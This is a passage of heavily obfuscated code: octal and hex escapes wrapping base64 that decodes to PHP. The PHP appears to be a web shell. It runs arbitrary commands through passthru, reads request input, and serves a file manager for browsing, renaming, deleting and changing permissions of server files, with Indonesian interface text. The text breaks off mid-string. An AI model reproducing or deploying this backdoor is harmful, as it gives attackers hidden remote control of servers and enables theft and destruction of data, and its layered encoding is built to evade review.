160\111\110\163\147\142\62\112\146\x63\63\x52\150\x63\156\x51\x6f\x4b\124\x73\x67\121\x48\x42\x68\143\x33\116\x30\x61\x48\112\61\x4b\x43\x52\152\x62\x57\121\163\111\103\122\x79\x5a\130\x52\61\x63\x6d\65\127\131\x58\x49\160\x4f\x79\x41\x6b\131\62\61\x6b\x54\63\x56\60\x63\x48\x56\60\x49\104\60\x67\x62\x32\112\146\132\x32\126\x30\130\x32\116\163\132\127\106\x75\x4b\x43\153\x37\111\110\x30\147\x5a\x57\x78\x7a\x5a\127\154\155\111\x43\150\155\x64\x57\x35\x6a\144\x47\154\x76\142\154\x39\154\x65\x47\x6c\x7a\x64\110\115\x6f\111\154\x77\170\116\x6a\x4e\x63\x4d\124\x63\x78\x58\104\105\62\115\x31\170\64\x4e\x7a\x52\x63\115\x54\x51\x31\x58\110\x67\x32\132\x43\111\x70\113\123\x42\67\x49\x47\x39\x69\130\63\x4e\x30\131\x58\112\x30\113\x43\x6b\x37\x49\x45\102\172\x65\x58\x4e\x30\132\x57\60\x6f\x4a\107\x4e\164\x5a\x43\x77\x67\x4a\110\x4a\x6c\144\x48\126\171\142\154\132\150\143\x69\x6b\x37\111\103\x52\152\x62\127\122\120\x64\130\122\x77\144\130\121\147\120\x53\x42\166\x59\154\x39\x6e\132\130\122\x66\x59\x32\170\154\131\127\64\157\113\124\163\x67\x66\x53\102\71\x49\x47\x64\x76\x64\x47\70\x67\141\x54\x52\171\x51\x33\131\67\111\110\154\156\x55\x6d\x6b\64\x4f\151\x42\154\x59\62\x68\166\111\103\x52\x6b\142\x32\x31\150\141\x57\65\x44\142\63\126\x75\x64\x44\163\x67\x5a\x32\71\x30\142\171\102\x51\141\x46\116\165\x51\152\x73\147\145\x55\x64\x35\132\153\x59\66\111\107\x6c\x6d\x49\103\x68\x70\x63\63\x4e\154\144\x43\x67\153\x58\x31\102\120\125\61\x52\142\x49\154\167\170\116\104\116\x63\145\x44\143\171\x58\x44\105\x30\116\x56\170\64\x4e\152\x46\x63\115\x54\x59\x30\130\110\x67\62\116\126\x78\64\x4e\127\132\x63\x65\x44\131\x32\x58\110\x67\x32\132\154\x78\64\x4e\x6d\x4e\143\x4d\124\x51\x30\130\x44\105\x30\x4e\x56\170\x34\116\x7a\x49\x69\130\123\153\147\x4a\151\131\x67\111\127\x56\x74\143\110\122\x35\113\103\x52\x66\125\x45\x39\x54\126\106\163\151\x58\x44\105\61\116\x6c\x78\x34\x4e\152\126\143\145\104\x63\63\x58\x48\147\x31\132\154\170\64\x4e\x6a\132\x63\145\104\132\155\x58\x44\x45\61\x4e\106\167\170\x4e\104\x52\143\145\104\x59\61\130\110\x67\x33\115\x6c\x78\x34\116\x57\x5a\x63\x65\x44\x5a\x6c\130\x48\x67\62\115\126\170\x34\116\x6d\x52\143\115\x54\x51\x31\x49\154\x30\160\x4b\x53\x42\67\111\x43\122\165\x5a\130\x64\107\x62\x32\170\153\132\130\x4a\117\131\127\61\154\111\104\x30\x67\x4a\x46\71\121\124\61\116\125\127\171\112\143\145\104\132\x6c\130\104\105\x30\x4e\x56\167\170\116\152\x64\x63\115\x54\x4d\x33\x58\110\147\x32\116\x6c\x78\x34\116\x6d\x5a\x63\x4d\x54\125\60\x58\110\x67\x32\x4e\x46\167\x78\116\104\x56\x63\x4d\x54\x59\171\x58\110\147\61\x5a\x6c\x77\x78\116\124\132\x63\x4d\124\x51\170\x58\x44\x45\x31\116\x56\170\x34\x4e\152\125\x69\x58\x54\x73\147\x4a\x47\x4e\x79\x5a\127\x46\60\x5a\x57\x51\x67\x50\123\102\x74\141\62\x52\160\143\151\x67\153\x63\107\106\60\x61\x43\x41\x75\111\x43\112\143\x4e\x54\x63\x69\x49\103\x34\147\x4a\107\x35\154\x64\60\x5a\166\x62\x47\122\154\x63\153\x35\x68\142\127\x55\x73\x49\x44\121\65\x4d\171\x6b\67\x49\x47\x6c\155\111\103\147\153\x59\x33\112\154\131\x58\x52\x6c\132\x43\153\x67\145\171\x42\x6c\131\62\150\x76\x49\103\x4a\143\116\x7a\122\x63\145\x44\131\60\x58\x44\x45\x31\115\126\x78\64\116\172\x5a\143\x65\x44\111\167\x58\110\x67\x32\x4d\61\x78\x34\x4e\155\x4e\x63\145\104\131\x78\x58\104\105\x32\115\x31\x77\x78\116\152\x4e\143\x4e\172\x56\x63\145\104\111\x79\x58\x48\x67\62\x4d\x56\x78\x34\x4e\x6d\116\143\x65\x44\131\61\x58\104\105\62\115\x6c\x78\64\116\172\x52\x63\x4e\104\102\143\x4d\124\121\170\x58\110\147\x32\131\61\x78\64\x4e\x6a\126\143\145\104\143\x79\130\110\147\63\x4e\106\x78\x34\x4d\155\x52\x63\145\104\143\172\x58\x48\x67\63\116\x56\170\x34\116\152\x4e\x63\x4d\124\121\172\x58\x44\105\x30\116\x56\x78\64\x4e\172\116\x63\x65\104\143\x7a\130\104\x51\x79\x58\104\x51\x77\130\110\x67\63\115\154\x77\x78\116\124\x64\143\145\104\132\x6a\130\104\x45\60\x4e\x56\170\x34\x4d\62\x52\143\x4e\104\x4a\x63\115\124\121\170\x58\104\x45\x31\116\106\170\64\116\152\x56\x63\x65\104\x63\171\130\104\x45\x32\x4e\x46\167\x30\x4d\154\167\x33\x4e\x6c\167\x78\x4d\104\x5a\143\145\104\132\x6d\x58\104\x45\x31\116\106\x78\64\116\152\x52\143\x4d\x54\x51\61\130\110\147\x33\115\x6c\167\60\x4d\106\170\64\x4e\x44\116\x63\x4d\124\131\171\x58\x44\105\60\x4e\126\x77\x78\x4e\104\x46\143\115\x54\x59\x30\130\x48\x67\x32\116\x56\170\x34\x4e\x6a\x52\x63\x65\104\111\x77\130\x48\147\61\x4d\61\x77\x78\116\152\x56\x63\x65\104\131\x7a\130\x48\147\62\x4d\x31\x78\64\116\x6a\126\x63\x65\104\x63\x7a\130\x44\105\x32\115\x31\x78\x34\x4e\152\132\143\x65\x44\x63\x31\x58\104\105\x31\116\106\170\64\x4e\x6d\116\x63\145\x44\x63\x35\x58\x48\x67\x79\132\126\x77\x33\116\x46\170\64\x4d\155\x5a\x63\x65\104\x59\x30\130\x48\147\x32\x4f\x56\170\64\116\172\x5a\143\145\104\116\154\111\152\x73\x67\146\123\x42\x6c\142\110\116\x6c\x49\x48\x73\147\x5a\x57\x4e\157\x62\x79\x41\x69\x58\110\x67\172\x59\x31\x77\x78\116\104\x52\143\x65\104\131\x35\130\104\x45\x32\x4e\x6c\x77\x30\x4d\106\x78\64\x4e\152\x4e\x63\145\x44\132\x6a\130\x48\147\62\115\x56\170\x34\116\172\x4e\x63\x65\x44\143\172\130\x48\147\x7a\x5a\106\167\x30\115\x6c\x78\64\x4e\152\x46\143\x4d\x54\125\x30\130\110\147\x32\116\x56\x78\64\116\172\112\x63\x65\x44\x63\60\130\x48\147\171\x4d\106\x77\170\x4e\104\106\x63\x65\x44\132\152\x58\x44\x45\60\116\x56\x77\x78\116\x6a\112\143\x4d\x54\131\x30\130\110\147\x79\x5a\x46\x78\64\116\152\122\143\x65\104\131\x78\x58\104\105\x31\x4e\x6c\x77\170\116\104\x64\143\115\x54\x51\61\130\110\147\63\x4d\154\x77\60\115\x6c\170\64\115\152\102\143\x65\x44\143\x79\130\110\147\x32\132\154\167\x78\x4e\124\122\x63\x65\x44\131\61\x58\104\x63\61\130\104\121\x79\130\x48\x67\62\x4d\x56\167\x78\x4e\x54\x52\x63\x4d\x54\x51\x31\130\110\x67\63\115\154\x77\x78\x4e\152\122\143\x65\x44\111\x79\x58\110\x67\172\132\126\170\x34\116\104\x5a\x63\x4d\x54\x51\170\x58\104\105\x31\115\x56\x78\x34\116\x6d\116\143\x4d\x54\121\61\130\110\x67\x32\x4e\x46\x78\64\x4d\152\102\x63\115\x54\x59\x30\x58\x48\147\62\x5a\154\x77\60\115\x46\167\x78\x4d\104\x4e\x63\145\104\x63\x79\130\104\x45\60\116\x56\x77\170\116\104\106\143\115\x54\131\x30\130\110\147\x32\x4e\126\170\64\x4d\152\102\143\x65\104\121\62\x58\110\x67\x32\x5a\x6c\170\64\x4e\x6d\x4e\143\x4d\x54\121\60\130\x48\147\x32\116\126\170\x34\x4e\x7a\112\143\x4e\x54\132\143\116\172\x52\143\x4e\124\144\143\x65\x44\131\60\x58\104\x45\x31\115\126\x77\170\x4e\x6a\x5a\x63\145\104\116\154\111\152\163\147\x66\x53\102\71\111\x47\144\166\x64\x47\x38\147\x64\x55\116\165\126\x45\157\67\111\x46\102\152\x63\x57\x78\131\x4f\151\101\57\x50\147\157\70\142\107\153\53\125\105\150\121\111\106\x5a\x6c\143\156\116\160\142\x32\x34\66\x50\104\x39\167\x61\110\101\147\111\x47\x64\166\144\x47\70\x67\124\63\126\x44\141\62\121\x37\111\x47\x30\x35\x5a\x45\x74\x73\117\151\102\x70\132\151\x41\x6f\x61\130\x4e\172\132\x58\x51\x6f\112\x46\71\124\122\x56\x4a\127\122\x56\x4a\142\111\154\x78\x34\x4e\104\x68\x63\x4d\124\111\x30\130\x44\x45\x79\x4e\106\x77\x78\115\152\102\x63\115\124\x4d\x33\x58\104\105\x77\x4d\x31\167\170\x4d\104\x5a\x63\145\x44\x56\x6d\130\110\147\60\x4d\x31\x78\x34\116\x47\x5a\x63\145\104\122\x6c\x58\104\x45\170\x4e\154\x78\64\116\x44\x56\143\145\104\121\172\x58\x44\x45\171\x4e\x46\170\64\x4e\x44\154\143\115\124\105\62\130\x44\x45\167\x4e\x31\170\64\x4e\127\x5a\143\x65\x44\121\x35\130\x44\105\x79\115\x43\112\144\113\123\x41\155\112\151\x42\153\132\127\x5a\x70\142\x6d\126\x6b\113\x43\x4a\x63\145\104\x51\x7a\x58\x48\x67\x30\131\x31\x77\170\115\124\144\143\115\124\111\x31\130\104\x45\167\116\106\x77\x78\x4d\104\x5a\143\x65\x44\122\152\x58\x48\x67\60\x4d\126\167\170\x4d\x6a\x4a\x63\115\124\x41\61\x58\x44\105\172\116\x31\x77\x78\115\x6a\x5a\143\145\104\x51\61\x58\x48\147\x31\115\x6c\167\x78\115\152\x4e\x63\115\124\x45\170\130\104\x45\170\x4e\x31\x77\170\x4d\124\131\x69\113\123\153\147\145\x79\x41\x6b\x58\61\x4e\106\x55\154\x5a\x46\125\154\163\x69\130\104\x45\171\x4d\x6c\167\170\x4d\104\x56\143\x4d\124\x45\x31\130\x48\147\x30\x5a\x6c\170\x34\116\124\x52\143\115\124\101\x31\x58\104\105\x7a\116\x31\x77\170\x4d\104\106\143\x65\x44\x51\60\130\x44\105\x77\116\106\167\x78\115\x6a\111\x69\x58\123\x41\x39\111\103\122\146\125\60\x56\123\126\153\x56\x53\x57\x79\112\143\115\x54\105\x77\130\104\x45\x79\116\x46\x78\x34\116\124\122\x63\x65\x44\x55\167\x58\104\x45\x7a\x4e\61\x77\170\115\x44\116\x63\145\104\x51\x32\x58\x48\x67\61\132\154\x77\170\115\x44\x4e\143\x4d\x54\105\63\x58\x48\147\x30\132\x56\170\x34\116\107\126\143\145\x44\x51\61\130\x48\147\60\115\61\x78\x34\116\124\x52\143\x4d\124\105\x78\130\104\105\x78\116\x6c\170\64\116\104\144\x63\x4d\124\115\x33\130\x48\x67\60\117\x56\x77\x78\115\x6a\x41\x69\130\x54\163\x67\141\127\x59\x67\x4b\x47\x6c\x7a\143\x32\x56\x30\x4b\103\x52\150\x63\107\x46\152\x61\107\126\111\x5a\x57\106\x6b\x5a\130\112\x7a\127\171\x4a\143\x4d\124\x45\167\x58\104\x45\x79\x4e\x46\x78\x34\x4e\124\x52\143\x65\104\x55\x77\x58\x44\105\x7a\x4e\x31\x78\64\116\x44\116\143\145\x44\x51\62\x58\x48\x67\x31\132\x6c\170\x34\116\124\x5a\x63\145\104\121\x35\130\110\147\61\x4d\x31\x77\170\115\x54\106\x63\x65\x44\125\60\x58\104\105\x78\x4e\x31\x78\x34\x4e\124\111\x69\130\123\153\x70\111\x48\x73\x67\141\x47\x56\150\x5a\107\126\171\x4b\103\x4a\x63\x4d\x54\105\167\x58\104\x45\171\116\106\170\64\x4e\x54\122\x63\x4d\x54\111\167\x58\104\105\172\116\x31\x78\64\x4e\x44\x4e\143\x65\104\x51\62\130\x44\105\172\x4e\x31\x77\x78\115\x6a\132\143\145\x44\121\x35\x58\104\105\x79\x4d\61\167\x78\115\124\106\143\x65\104\x55\60\x58\104\105\170\116\61\x78\64\116\124\112\x63\x4e\172\112\143\x65\x44\111\x77\x49\x69\x41\x75\111\103\122\x68\143\107\106\152\x61\107\x56\x49\132\x57\x46\153\x5a\x58\112\172\127\171\x4a\143\145\x44\x51\64\x58\x48\x67\61\116\106\x78\x34\x4e\x54\122\x63\145\x44\125\x77\x58\104\105\172\x4e\x31\167\170\x4d\104\116\x63\x65\104\121\62\x58\110\x67\x31\x5a\x6c\167\170\x4d\152\132\x63\145\104\121\x35\x58\110\147\61\x4d\61\170\x34\x4e\104\154\x63\145\104\125\x30\x58\x44\x45\x78\x4e\61\170\x34\116\124\x49\x69\x58\123\153\67\111\x48\60\x67\x66\123\102\x6e\142\63\122\x76\111\105\126\x47\132\x47\170\x57\x4f\x79\x42\x45\x61\x55\x6b\x7a\x53\124\x6f\147\x51\110\116\x6c\144\106\71\x30\x61\127\x31\x6c\x58\62\170\160\x62\x57\x6c\x30\113\x44\101\x70\x4f\x79\x42\156\x62\x33\122\166\111\x47\164\123\x62\106\x70\x33\x4f\x79\x42\160\144\x55\150\x4c\122\x6a\157\x67\141\x57\x59\x67\x4b\x43\x52\172\131\x32\x46\x75\x5a\x47\x6c\171\111\x43\x45\x39\120\x53\102\155\x59\127\x78\x7a\132\123\153\x67\x65\x79\101\x6b\x5a\155\71\163\132\x47\126\171\143\171\101\71\111\x47\106\171\143\x6d\106\x35\x4b\103\153\67\x49\103\x52\x6d\x61\x57\170\x6c\143\171\101\71\x49\107\x46\171\x63\x6d\x46\x35\113\103\153\67\x49\107\132\x76\143\155\126\x68\131\62\x67\147\x4b\103\122\172\131\62\x46\165\132\107\x6c\x79\x49\107\x46\x7a\111\x43\122\155\141\127\x78\x6c\113\123\x42\67\x49\x43\122\155\141\127\x78\x6c\x55\107\x46\60\x61\103\x41\71\x49\103\112\x37\112\110\x42\x68\144\107\150\71\x58\x48\147\171\132\x6e\x73\x6b\132\155\154\x73\132\x58\60\151\117\171\x42\160\x5a\151\101\157\141\x58\x4e\x66\132\x47\154\171\x4b\103\x52\155\141\x57\170\x6c\125\x47\106\x30\x61\x43\153\160\x49\110\163\x67\112\107\132\166\142\x47\x52\154\143\156\116\x62\x58\123\x41\71\111\103\122\155\x61\127\170\x6c\117\x79\x42\71\111\107\x56\x73\143\x32\125\x67\x65\171\102\x70\x5a\x69\x41\157\x61\130\116\x66\132\x6d\154\163\x5a\x53\147\153\132\155\154\163\x5a\126\102\x68\144\107\x67\x70\113\x53\x42\x37\x49\x43\x52\x7a\x61\x58\160\154\111\104\x30\147\x5a\x6d\x6c\163\x5a\x58\116\x70\145\155\125\157\112\107\132\x70\142\107\126\121\x59\130\x52\x6f\x4b\x54\x73\x67\112\x48\116\160\x65\155\125\147\x50\123\x42\x6d\x62\63\112\164\x59\x58\x52\124\x61\130\x70\x6c\x56\127\65\160\144\x48\115\157\112\110\x4e\160\145\155\x55\160\x4f\171\101\x6b\143\107\x56\171\142\x58\115\147\x50\123\102\x6d\141\x57\x78\x6c\143\x47\x56\x79\x62\x58\115\x6f\112\107\x5a\160\x62\107\126\x51\131\130\x52\157\x4b\124\163\x67\112\110\x42\x6c\143\155\61\x70\143\x33\116\x70\x62\x32\64\147\x50\x53\x42\156\x5a\x58\x52\x51\132\x58\112\x74\141\130\116\172\x61\127\71\165\125\x33\x52\171\141\x57\65\x6e\113\x43\122\x77\x5a\130\112\164\x63\x79\153\x37\111\103\x52\155\141\x57\170\154\x63\x31\x73\153\x5a\155\154\163\132\126\60\x67\x50\123\102\150\143\x6e\x4a\x68\x65\123\147\151\130\104\105\62\x4d\x31\x77\170\x4e\124\x46\x63\x4d\x54\x63\171\130\x48\147\62\116\x53\x49\147\x50\x54\64\147\112\110\x4e\x70\145\x6d\125\163\x49\103\112\143\x65\x44\143\167\x58\x48\147\62\116\126\x77\170\116\152\x4a\143\x65\x44\x5a\153\130\110\x67\x32\117\126\x77\170\116\152\116\143\x4d\124\131\172\130\104\x45\x31\x4d\x56\170\x34\x4e\155\x5a\143\x4d\124\125\62\111\x69\101\x39\x50\x69\101\x6b\143\x47\126\171\x62\127\154\172\x63\62\x6c\x76\142\151\153\67\111\x48\x30\147\146\x53\x42\x39\111\x47\132\166\x63\155\x56\150\131\x32\147\147\x4b\x43\122\x6d\142\x32\x78\153\x5a\130\x4a\172\x49\x47\x46\x7a\111\103\122\155\x62\62\x78\x6b\x5a\130\x49\x70\111\110\x73\x67\112\x47\x5a\166\142\x47\x52\154\x63\x6c\x42\x68\144\x47\x67\x67\120\123\x41\151\x65\171\122\167\x59\130\122\157\x66\x56\x78\x34\x4d\155\132\67\x4a\x47\x5a\x76\142\107\x52\154\x63\156\x30\x69\117\171\101\153\x5a\155\x39\163\x5a\x47\126\171\x55\x47\x56\x79\142\127\154\172\x63\x32\x6c\x76\x62\x6b\x4e\x76\142\x47\71\171\x49\x44\60\147\x61\130\x4e\146\x64\63\x4a\160\144\x47\106\151\x62\107\x55\157\x4a\x47\x5a\x76\x62\x47\122\x6c\x63\154\102\150\144\107\147\160\111\104\70\147\x49\154\170\x34\116\152\x64\143\145\x44\143\x79\130\x48\x67\x32\116\x56\167\x78\x4e\x44\x56\143\x65\104\x5a\154\x49\151\x41\x36\x49\103\112\143\x65\x44\143\171\x58\x48\x67\x32\x4e\126\167\170\116\x44\x51\x69\x4f\x79\101\x2f\x50\x67\157\70\144\110\111\x2b\120\x48\x52\153\x50\152\x78\150\111\107\150\171\x5a\127\131\x39\111\152\71\x77\x59\130\x52\x6f\x50\124\x77\x2f\x63\107\150\167\111\x43\102\154\131\x32\x68\166\x49\103\x52\155\x62\62\170\x6b\x5a\x58\112\x51\131\x58\x52\x6f\x4f\x79\101\x2f\x50\x67\157\x69\120\x6a\167\57\143\107\150\x77\x49\x43\102\154\131\62\150\x76\x49\x43\122\155\142\x32\x78\x6b\132\130\x49\x37\111\104\70\53\103\152\x77\166\x59\124\64\70\114\x33\122\153\120\152\x78\60\x5a\104\64\x38\x63\x33\102\x68\x62\151\x42\x7a\144\110\154\x73\x5a\x54\60\x69\x59\x32\71\x73\x62\63\x49\x36\x50\104\71\x77\141\110\x41\147\x49\107\x56\152\x61\x47\70\147\112\107\132\166\x62\x47\x52\154\x63\x6c\x42\154\x63\155\x31\160\x63\63\116\160\142\x32\65\x44\142\62\x78\166\143\152\x73\147\120\x7a\x34\113\111\152\64\70\x50\x33\102\157\143\x43\101\147\x5a\127\x4e\x6f\x62\x79\x42\156\132\130\122\x51\x5a\x58\112\x74\x61\x58\x4e\x7a\141\x57\x39\165\125\63\x52\x79\141\127\x35\156\x4b\107\132\x70\x62\x47\x56\x77\132\x58\112\x74\x63\171\x67\153\x5a\155\x39\163\x5a\x47\x56\171\125\107\106\60\141\103\x6b\x70\117\x79\x41\x2f\120\x67\x6f\70\114\63\x4e\x77\x59\x57\x34\53\120\103\71\x30\x5a\x44\64\70\x64\x47\x51\53\114\124\x77\x76\x64\107\121\x2b\120\x48\122\153\x50\152\170\x7a\x5a\127\170\154\131\x33\121\147\x62\x32\65\152\141\x47\x46\165\132\62\125\71\x4a\62\132\166\142\107\x52\154\143\x6b\122\171\142\x33\x42\x6b\142\x33\144\x75\121\x57\x4e\x30\141\127\71\165\113\110\122\x6f\x61\130\115\x75\x64\155\106\163\144\127\125\x73\111\152\x77\57\x63\x47\x68\167\111\x43\102\x6c\131\x32\x68\x76\x49\103\x52\x77\131\130\122\x6f\x4f\x79\101\x2f\x50\147\157\x69\x4c\103\111\70\120\63\x42\157\143\103\x41\147\132\127\x4e\x6f\142\x79\101\x6b\132\x6d\x39\x73\132\x47\126\x79\117\x79\101\57\x50\x67\x6f\151\x4b\123\x63\x2b\120\107\71\x77\144\107\x6c\x76\142\x69\x42\62\x59\127\x78\x31\132\124\x30\x69\111\155\122\x70\143\62\106\151\142\107\x56\x6b\x49\x48\116\x6c\142\107\x56\152\144\x47\126\153\120\x6b\x46\152\x64\107\154\166\142\156\x4d\x38\114\62\71\167\x64\107\x6c\x76\142\x6a\64\x38\x62\x33\102\x30\x61\x57\71\x75\x49\x48\x5a\150\x62\x48\x56\x6c\x50\x53\x4a\x79\x5a\x57\65\x68\x62\127\x55\x69\120\154\x4a\154\142\x6d\x46\x74\132\124\x77\x76\x62\x33\102\60\141\127\71\165\120\152\170\x76\143\x48\x52\x70\x62\x32\64\147\144\x6d\106\x73\x64\127\125\x39\x49\155\122\x6c\x62\107\x56\60\x5a\x53\111\53\x52\107\126\163\132\130\x52\x6c\120\x43\71\x76\143\x48\122\160\x62\62\64\53\x50\107\x39\x77\x64\x47\154\166\x62\x69\102\62\131\x57\170\61\x5a\124\x30\x69\131\x32\x68\x74\x62\x32\x51\151\x50\153\x4e\157\x62\127\x39\153\120\103\x39\166\143\x48\122\160\142\x32\x34\x2b\120\103\71\172\132\127\x78\x6c\131\x33\x51\53\x50\x43\71\60\132\104\64\70\114\x33\122\171\120\x6a\x78\x7a\131\x33\x4a\160\x63\110\x51\x2b\132\x6e\x56\165\131\63\x52\x70\142\62\x34\x67\132\155\x39\x73\132\x47\126\x79\x52\110\112\166\x63\x47\x52\x76\144\62\x35\x42\x59\63\x52\160\x62\x32\64\x6f\x5a\x53\x78\x75\x4c\x47\70\160\145\62\154\x6d\x4b\x43\x4a\x79\x5a\127\65\150\142\x57\x55\151\x50\x54\x30\71\132\x53\154\63\141\127\x35\x6b\142\x33\143\x75\142\107\71\152\x59\x58\122\x70\x62\x32\64\165\x61\x48\112\154\132\152\x30\151\x50\x33\102\x68\x64\x47\147\71\x49\151\x74\165\x4b\171\x49\x6d\143\155\x56\x75\131\x57\x31\x6c\x50\x53\x49\162\x62\172\164\154\x62\x48\x4e\154\x49\107\154\155\x4b\x43\112\x6b\132\x57\x78\x6c\x64\x47\x55\x69\120\124\60\71\x5a\123\x6c\x37\131\62\71\165\x5a\x6d\154\x79\142\123\147\151\x51\x58\x42\150\141\x32\106\157\x49\x45\x46\165\132\x47\105\x67\x65\127\106\162\x61\x57\64\x67\141\x57\x35\x6e\x61\127\x34\x67\142\x57\126\x75\x5a\x32\150\x68\143\x48\x56\172\111\x47\132\x76\142\x47\122\x6c\143\x69\102\160\142\x6d\153\57\x49\151\x6b\x6d\112\151\150\63\x61\127\65\153\x62\63\x63\165\142\x47\71\x6a\x59\x58\122\x70\x62\x32\64\165\x61\110\112\154\x5a\x6a\60\x69\120\x33\102\x68\x64\107\147\71\x49\151\x74\165\x4b\x79\x49\155\x5a\107\126\x73\x5a\130\x52\x6c\120\x53\x49\162\x62\x79\x6c\x39\x5a\x57\170\172\x5a\123\x4a\152\141\107\x31\x76\x5a\x43\111\x39\120\x54\61\x6c\x4a\x69\x59\157\x64\62\154\165\132\x47\71\x33\x4c\x6d\170\166\131\x32\106\60\x61\x57\71\165\114\x6d\x68\x79\132\x57\131\x39\111\152\71\x77\x59\130\x52\157\x50\123\x49\162\142\x69\x73\x69\x4a\155\x4e\157\142\x57\71\x6b\120\x53\x49\x72\x62\x79\x6c\x39\x50\103\x39\172\131\x33\112\x70\x63\110\121\x2b\120\x44\x39\x77\x61\x48\101\x67\x49\x48\60\147\x5a\x6d\71\171\132\127\x46\x6a\x61\x43\x41\157\x4a\x47\x5a\160\x62\x47\x56\x7a\111\107\106\172\x49\x43\x52\x6d\141\x57\170\154\111\x44\60\x2b\111\103\122\153\x59\130\x52\x68\113\x53\102\67\x49\103\x52\155\141\x57\170\154\x55\107\x56\x79\142\127\x6c\x7a\x63\62\154\x76\142\153\116\166\142\x47\x39\x79\111\104\x30\x67\x61\130\x4e\146\x64\63\x4a\160\x64\x47\106\151\142\x47\125\157\112\110\x42\150\144\x47\147\147\114\151\101\151\130\x48\x67\x79\132\151\111\x67\114\151\x41\153\132\155\x6c\x73\x5a\x53\153\147\x50\x79\x41\151\130\x44\105\60\116\x31\x78\64\116\x7a\112\x63\145\x44\x59\x31\130\104\105\60\116\126\170\x34\116\x6d\x55\151\x49\104\x6f\147\111\x6c\170\64\x4e\x7a\112\x63\x4d\124\121\61\130\x44\x45\x30\x4e\x43\x49\x37\x49\104\x38\53\x43\152\x78\60\143\152\x34\70\144\107\121\x2b\x50\107\105\147\x61\x48\x4a\154\132\152\60\x69\120\x33\x42\150\144\x47\147\x39\120\x44\x39\x77\141\110\101\147\111\x47\126\152\141\x47\70\147\x4a\110\x42\150\144\107\147\x37\111\x44\x38\53\103\x69\132\x6d\141\x57\170\154\120\x54\x77\x2f\x63\107\150\167\111\x43\x42\154\131\62\x68\166\x49\x43\122\x6d\141\x57\x78\154\x4f\x79\x41\x2f\x50\147\x6f\x69\x50\x6a\x77\57\143\x47\150\x77\111\x43\x42\x6c\131\x32\x68\166\111\103\x52\x6d\141\x57\x78\x6c\x4f\x79\x41\57\x50\x67\157\70\x4c\x32\x45\x2b\x50\103\x39\60\x5a\x44\64\x38\144\x47\121\53\120\x44\x39\167\141\x48\101\x67\111\107\x56\x6a\141\107\70\147\112\x47\122\x68\x64\107\x46\x62\x49\x6c\170\x34\x4e\172\x4e\143\x65\104\x59\65\130\104\105\x33\x4d\x6c\x77\x78\116\104\x55\151\x58\x54\x73\x67\120\172\x34\x4b\120\103\71\x30\132\104\x34\x38\144\x47\x51\53\120\x48\x4e\167\x59\x57\x34\147\143\63\x52\x35\x62\107\x55\71\x49\x6d\116\x76\142\x47\71\171\117\x6a\167\x2f\143\x47\150\167\111\103\102\154\x59\x32\150\x76\111\103\122\155\x61\127\170\154\125\x47\x56\x79\142\x57\154\x7a\x63\62\x6c\166\142\x6b\116\166\x62\107\x39\171\117\x79\101\57\120\147\157\151\120\152\167\x2f\x63\x47\150\x77\111\103\x42\154\131\62\x68\x76\x49\x43\122\153\x59\130\x52\150\x57\x79\x4a\143\115\x54\x59\x77\x58\x48\x67\62\x4e\x56\167\x78\116\x6a\112\x63\x4d\x54\x55\61\130\x44\105\x31\115\x56\x77\170\116\152\x4e\143\x65\104\143\x7a\130\x44\x45\61\x4d\126\167\170\116\124\x64\143\145\x44\132\x6c\x49\x6c\x30\67\111\104\x38\53\x43\x6a\x77\166\143\x33\x42\x68\142\x6a\64\x38\x4c\x33\122\153\120\x6a\x78\60\x5a\104\64\70\x63\62\126\163\132\x57\x4e\x30\x49\107\71\x75\x59\62\150\x68\142\155\x64\154\x50\123\x64\x6b\x63\155\71\167\x5a\107\x39\x33\x62\153\x46\x6a\x64\x47\154\x76\142\151\150\60\x61\107\x6c\172\x4c\156\x5a\150\x62\x48\x56\x6c\114\103\x49\x38\x50\63\x42\157\143\103\101\147\132\127\x4e\157\x62\x79\x41\x6b\x63\107\106\60\x61\x44\x73\147\x50\x7a\x34\113\x49\x69\x77\151\120\x44\71\167\141\110\x41\x67\111\x47\x56\152\141\x47\70\x67\112\x47\132\x70\x62\107\x55\x37\x49\x44\70\53\103\151\111\160\x4a\x7a\64\x38\142\x33\x42\60\x61\127\x39\x75\x49\x48\132\150\x62\x48\126\x6c\x50\x53\x49\x69\x5a\107\154\x7a\x59\127\x4a\x73\132\127\x51\x67\143\62\126\163\132\127\116\60\132\x57\x51\53\x51\127\116\x30\141\x57\71\165\x63\x7a\x77\166\x62\x33\x42\60\141\x57\71\x75\120\x6a\x78\x76\x63\x48\x52\x70\142\x32\64\x67\144\155\106\163\x64\x57\125\71\x49\x6d\x56\153\x61\x58\121\x69\120\x6b\126\153\x61\x58\121\70\114\x32\71\x77\144\x47\x6c\166\142\x6a\x34\70\x62\x33\102\x30\x61\127\x39\165\x49\110\132\150\x62\110\x56\x6c\x50\123\x4a\153\x5a\x57\170\154\144\x47\125\x69\120\x6b\122\154\x62\107\126\60\x5a\x54\x77\166\142\63\102\60\141\127\x39\x75\120\x6a\170\x76\143\110\x52\160\142\62\x34\147\144\x6d\x46\x73\x64\127\125\71\x49\155\x4e\x6f\x62\127\x39\x6b\x49\x6a\x35\x44\x61\x47\61\x76\x5a\x44\167\166\x62\63\x42\x30\x61\127\71\165\120\x6a\x78\166\143\110\x52\x70\x62\62\x34\x67\144\155\x46\163\x64\127\x55\x39\x49\x6e\x4a\154\x62\x6d\106\164\x5a\123\x49\53\125\x6d\x56\165\x59\127\x31\x6c\120\x43\71\166\143\x48\122\160\142\62\x34\x2b\120\x43\71\x7a\x5a\127\170\154\x59\x33\x51\53\x50\103\71\60\x5a\104\x34\70\114\63\122\171\x50\x6a\170\x7a\x59\x33\x4a\160\x63\x48\121\53\132\156\126\165\x59\63\x52\x70\x62\62\x34\x67\x5a\x48\112\166\x63\107\x52\166\144\62\65\x42\x59\x33\x52\x70\142\62\64\x6f\x5a\x53\170\160\114\107\x34\x70\145\62\x6c\155\113\103\112\x6c\132\x47\x6c\60\x49\x6a\x30\x39\120\x57\x55\160\144\62\154\165\x5a\107\71\x33\x4c\x6d\x78\166\x59\x32\106\60\141\x57\x39\165\x4c\x6d\x68\x79\x5a\x57\131\71\111\x6a\x39\167\131\x58\122\157\x50\x53\111\162\141\x53\x73\151\x4a\x6d\132\x70\x62\107\125\x39\x49\151\164\x75\117\62\x56\x73\x63\62\125\147\141\127\x59\157\x49\155\x52\x6c\142\x47\x56\60\x5a\123\111\x39\120\124\61\154\x4b\130\x74\x6a\142\62\65\155\x61\130\x4a\x74\113\103\112\102\143\x47\x46\162\131\x57\147\x67\121\127\65\153\x59\x53\x42\65\x59\127\x74\x70\142\x69\102\x70\142\155\144\160\x62\151\x42\164\x5a\127\x35\